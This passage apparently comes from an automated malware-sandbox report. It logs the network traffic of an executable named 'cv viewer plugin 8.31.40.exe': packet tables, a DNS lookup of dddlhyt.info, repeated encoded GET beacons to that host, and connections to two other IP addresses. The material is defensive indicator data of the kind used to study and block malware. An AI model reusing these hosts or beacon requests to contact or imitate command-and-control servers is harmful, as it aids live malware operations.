Aug 31, 2024 22:14:13.364573956 CEST	80	49772	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:13.364681005 CEST	49772	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:13.364682913 CEST	80	49771	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:13.364737034 CEST	49771	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:13.364891052 CEST	49772	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:13.369810104 CEST	80	49772	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:14.047122955 CEST	80	49772	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:14.047188997 CEST	49772	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:14.155745029 CEST	49772	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:14.160703897 CEST	80	49772	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:14.399249077 CEST	80	49772	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:14.399312973 CEST	49772	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:14.514956951 CEST	49772	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:14.515290022 CEST	49773	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:14.520164967 CEST	80	49772	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:14.520181894 CEST	80	49773	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:14.520225048 CEST	49772	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:14.520279884 CEST	49773	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:14.520582914 CEST	49773	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:14.525367975 CEST	80	49773	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:15.206466913 CEST	80	49773	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:15.206583023 CEST	49773	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:15.327439070 CEST	49773	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:15.327853918 CEST	49774	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:15.333214045 CEST	80	49773	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:15.333420992 CEST	49773	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:15.333720922 CEST	80	49774	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:15.333834887 CEST	49774	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:15.334043980 CEST	49774	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:15.338876963 CEST	80	49774	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:16.021977901 CEST	80	49774	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:16.022052050 CEST	49774	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:16.139929056 CEST	49774	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:16.140224934 CEST	49775	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:16.145798922 CEST	80	49775	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:16.145953894 CEST	49775	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:16.146023989 CEST	80	49774	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:16.146075964 CEST	49774	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:16.146169901 CEST	49775	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:16.151026964 CEST	80	49775	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:16.841029882 CEST	80	49775	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:16.841167927 CEST	49775	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:16.952352047 CEST	49775	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:16.957406044 CEST	80	49775	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:17.196863890 CEST	80	49775	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:17.196962118 CEST	49775	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:17.311762094 CEST	49775	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:17.312046051 CEST	49776	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:17.316802025 CEST	80	49776	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:17.316894054 CEST	49776	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:17.317027092 CEST	49776	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:17.317107916 CEST	80	49775	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:17.317162037 CEST	49775	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:17.321825027 CEST	80	49776	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:18.002425909 CEST	80	49776	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:18.002525091 CEST	49776	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:18.124377012 CEST	49776	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:18.124681950 CEST	49777	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:18.129595041 CEST	80	49777	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:18.129708052 CEST	80	49776	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:18.129715919 CEST	49777	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:18.129759073 CEST	49776	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:18.129928112 CEST	49777	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:18.134713888 CEST	80	49777	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:18.819413900 CEST	80	49777	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:18.819459915 CEST	49777	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:18.936940908 CEST	49777	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:18.937266111 CEST	49778	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:18.942150116 CEST	80	49777	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:18.942166090 CEST	80	49778	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:18.942234039 CEST	49777	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:18.942286968 CEST	49778	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:18.942416906 CEST	49778	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:18.947647095 CEST	80	49778	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:19.630455017 CEST	80	49778	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:19.630559921 CEST	49778	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:19.749214888 CEST	49778	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:19.749555111 CEST	49779	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:19.754590988 CEST	80	49779	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:19.754605055 CEST	80	49778	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:19.754695892 CEST	49778	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:19.754868031 CEST	49779	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:19.754868031 CEST	49779	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:19.759995937 CEST	80	49779	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:20.472358942 CEST	80	49779	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:20.472670078 CEST	49779	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:20.625408888 CEST	49779	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:20.625742912 CEST	49780	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:20.630495071 CEST	80	49780	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:20.630594969 CEST	49780	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:20.630676985 CEST	49780	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:20.631135941 CEST	80	49779	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:20.631191969 CEST	49779	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:20.635531902 CEST	80	49780	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:21.317787886 CEST	80	49780	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:21.317861080 CEST	49780	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:21.436714888 CEST	49780	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:21.437017918 CEST	49781	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:21.441857100 CEST	80	49781	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:21.441889048 CEST	80	49780	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:21.441942930 CEST	49781	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:21.441977024 CEST	49780	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:21.442254066 CEST	49781	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:21.447025061 CEST	80	49781	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:22.129813910 CEST	80	49781	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:22.129952908 CEST	49781	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:22.249294996 CEST	49781	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:22.249671936 CEST	49782	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:22.254489899 CEST	80	49782	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:22.254592896 CEST	49782	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:22.254688025 CEST	80	49781	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:22.254738092 CEST	49781	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:22.254914999 CEST	49782	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:22.259704113 CEST	80	49782	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:22.966197014 CEST	80	49782	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:22.966279984 CEST	49782	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:23.077482939 CEST	49782	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:23.077857971 CEST	49783	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:23.082736969 CEST	80	49783	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:23.082855940 CEST	49783	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:23.082990885 CEST	49783	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:23.083085060 CEST	80	49782	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:23.083134890 CEST	49782	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:23.087910891 CEST	80	49783	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:23.792293072 CEST	80	49783	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:23.792402029 CEST	49783	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:23.937617064 CEST	49783	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:23.937925100 CEST	49784	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:23.942698002 CEST	80	49784	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:23.942806005 CEST	49784	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:23.943135023 CEST	80	49783	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:23.943186998 CEST	49783	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:23.945274115 CEST	49784	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:23.950223923 CEST	80	49784	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:24.633378029 CEST	80	49784	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:24.633476019 CEST	49784	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:24.753271103 CEST	49784	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:24.753650904 CEST	49785	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:24.758487940 CEST	80	49785	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:24.758559942 CEST	49785	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:24.758738995 CEST	49785	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:24.759155035 CEST	80	49784	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:24.759203911 CEST	49784	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:24.763498068 CEST	80	49785	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:25.443111897 CEST	80	49785	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:25.443186998 CEST	49785	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:25.564747095 CEST	49785	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:25.565084934 CEST	49786	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:25.570502996 CEST	80	49786	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:25.570601940 CEST	49786	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:25.570703983 CEST	80	49785	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:25.570751905 CEST	49785	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:25.570882082 CEST	49786	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:25.575845003 CEST	80	49786	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:26.270853996 CEST	80	49786	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:26.270946980 CEST	49786	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:26.393359900 CEST	49786	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:26.393691063 CEST	49787	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:26.398513079 CEST	80	49787	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:26.398633003 CEST	80	49786	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:26.398660898 CEST	49787	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:26.398819923 CEST	49787	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:26.398888111 CEST	49786	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:26.403659105 CEST	80	49787	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:27.088766098 CEST	80	49787	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:27.089046955 CEST	49787	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:27.219871044 CEST	49787	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:27.220248938 CEST	49788	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:27.225236893 CEST	80	49788	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:27.225462914 CEST	49788	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:27.225620985 CEST	80	49787	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:27.225629091 CEST	49788	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:27.225730896 CEST	49787	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:27.230411053 CEST	80	49788	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:27.915329933 CEST	80	49788	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:27.915380001 CEST	49788	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:28.032839060 CEST	49788	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:28.033277988 CEST	49789	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:28.038065910 CEST	80	49788	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:28.038121939 CEST	80	49789	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:28.038149118 CEST	49788	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:28.038217068 CEST	49789	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:28.038341999 CEST	49789	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:28.043113947 CEST	80	49789	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:28.734129906 CEST	80	49789	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:28.734685898 CEST	49789	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:28.862248898 CEST	49789	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:28.862248898 CEST	49790	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:28.867211103 CEST	80	49790	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:28.867386103 CEST	80	49789	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:28.868635893 CEST	49789	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:28.868635893 CEST	49790	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:28.868818045 CEST	49790	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:28.873548031 CEST	80	49790	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:29.555881977 CEST	80	49790	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:29.555951118 CEST	49790	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:29.674118042 CEST	49790	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:29.674496889 CEST	49791	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:29.679327965 CEST	80	49791	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:29.679356098 CEST	80	49790	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:29.679398060 CEST	49791	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:29.679428101 CEST	49790	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:29.679579973 CEST	49791	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:29.684330940 CEST	80	49791	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:29.841157913 CEST	2023	49765	89.105.201.183	192.168.2.9
Aug 31, 2024 22:14:29.843694925 CEST	49792	80	192.168.2.9	31.214.157.226
Aug 31, 2024 22:14:29.848555088 CEST	80	49792	31.214.157.226	192.168.2.9
Aug 31, 2024 22:14:29.848632097 CEST	49792	80	192.168.2.9	31.214.157.226
Aug 31, 2024 22:14:29.848989964 CEST	49793	2023	192.168.2.9	89.105.201.183
Aug 31, 2024 22:14:29.854152918 CEST	2023	49793	89.105.201.183	192.168.2.9
Aug 31, 2024 22:14:29.854226112 CEST	49793	2023	192.168.2.9	89.105.201.183
Aug 31, 2024 22:14:29.854301929 CEST	49793	2023	192.168.2.9	89.105.201.183
Aug 31, 2024 22:14:29.859098911 CEST	2023	49793	89.105.201.183	192.168.2.9
Aug 31, 2024 22:14:29.859149933 CEST	49793	2023	192.168.2.9	89.105.201.183
Aug 31, 2024 22:14:29.864012003 CEST	2023	49793	89.105.201.183	192.168.2.9
Aug 31, 2024 22:14:29.886888981 CEST	49765	2023	192.168.2.9	89.105.201.183
Aug 31, 2024 22:14:30.371910095 CEST	80	49791	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:30.374753952 CEST	49791	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:30.452843904 CEST	2023	49793	89.105.201.183	192.168.2.9
Aug 31, 2024 22:14:30.452990055 CEST	49792	80	192.168.2.9	31.214.157.226
Aug 31, 2024 22:14:30.457832098 CEST	80	49792	31.214.157.226	192.168.2.9
Aug 31, 2024 22:14:30.496381998 CEST	49793	2023	192.168.2.9	89.105.201.183
Aug 31, 2024 22:14:30.501924992 CEST	49791	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:30.502423048 CEST	49794	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:30.507425070 CEST	80	49791	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:30.507519007 CEST	49791	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:30.507628918 CEST	80	49794	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:30.507785082 CEST	49794	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:30.508012056 CEST	49794	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:30.513582945 CEST	80	49794	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:30.625307083 CEST	80	49792	31.214.157.226	192.168.2.9
Aug 31, 2024 22:14:30.668129921 CEST	49792	80	192.168.2.9	31.214.157.226
Aug 31, 2024 22:14:31.176543951 CEST	49793	2023	192.168.2.9	89.105.201.183
Aug 31, 2024 22:14:31.181724072 CEST	2023	49793	89.105.201.183	192.168.2.9
Aug 31, 2024 22:14:31.214618921 CEST	80	49794	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:31.215466022 CEST	49794	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:31.349718094 CEST	2023	49793	89.105.201.183	192.168.2.9
Aug 31, 2024 22:14:31.349822044 CEST	49793	2023	192.168.2.9	89.105.201.183
Aug 31, 2024 22:14:31.349900961 CEST	49793	2023	192.168.2.9	89.105.201.183
Aug 31, 2024 22:14:31.349910975 CEST	49792	80	192.168.2.9	31.214.157.226
Aug 31, 2024 22:14:31.355366945 CEST	2023	49793	89.105.201.183	192.168.2.9
Aug 31, 2024 22:14:31.355593920 CEST	80	49792	31.214.157.226	192.168.2.9
Aug 31, 2024 22:14:31.355658054 CEST	49792	80	192.168.2.9	31.214.157.226

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 31, 2024 22:13:20.301440954 CEST	52380	53	192.168.2.9	91.211.247.248
Aug 31, 2024 22:13:20.339195967 CEST	53	52380	91.211.247.248	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 31, 2024 22:13:20.301440954 CEST	192.168.2.9	91.211.247.248	0x83ee	Standard query (0)	dddlhyt.info	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 31, 2024 22:13:20.339195967 CEST	91.211.247.248	192.168.2.9	0x83ee	No error (0)	dddlhyt.info		185.196.8.214	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

dddlhyt.info

31.214.157.226

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49720	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:20.378920078 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:21.067531109 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49721	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:21.192502975 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:21.881506920 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49722	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:22.004890919 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:22.718441010 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Aug 31, 2024 22:13:22.827095032 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:23.068290949 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49723	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:23.191839933 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:23.880629063 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49724	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:24.012777090 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:24.727519989 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49725	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:24.848195076 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
